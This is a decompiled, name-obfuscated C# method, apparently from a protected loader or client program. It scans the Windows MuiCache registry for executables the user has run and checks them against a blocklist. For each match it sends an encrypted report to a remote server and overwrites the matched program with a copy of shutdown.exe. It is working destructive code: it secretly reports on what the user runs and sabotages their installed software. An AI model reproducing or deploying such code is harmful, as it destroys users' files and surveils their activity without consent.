private void method_14()
{
try
{
string name = "Software\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache";
foreach (string text in Registry.CurrentUser.OpenSubKey(name).GetValueNames())
{
if (text.Contains(".exe"))
{
try
{
string text2 = text.ToLower();
string text3 = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache", text, "").ToString().ToLower();
string text4 = text;
text4 = text4.Substring(0, text4.IndexOf(".exe") + 4);
if (File.Exists(text4))
{
foreach (string text5 in this.string_40)
{
if (text2.Contains(text5) || text3.Contains(text5))
{
WebClient webClient = this.method_47();
webClient.Headers.Set("rep", this.method_53(string.Concat(new string[]
{
"Forbidden: [",
text5,
"] in [",
text,
"]"
}), webClient.Headers.Get("cryptkey") + "rep"));
webClient.DownloadData(Form1.string_1);
this.method_27(new string[]
{
"Disallowed program found:",
text4
});
this.method_32(text4);
try
{
File.Copy(Path.Combine(Environment.SystemDirectory, "shutdown.exe"), text4, true);
}
catch
{
}
this.method_38();
return;
}
}
}
}
catch (Exception ex)
{
WebClient webClient2 = this.method_47();
webClient2.Headers.Set("rep", this.method_53("Disallowed program check (ERROR): " + ex.Message, webClient2.Headers.Get("cryptkey") + "rep"));
webClient2.DownloadData(Form1.string_1);
this.method_85(true);
this.method_38();
}
}
}
}
catch
{
}
}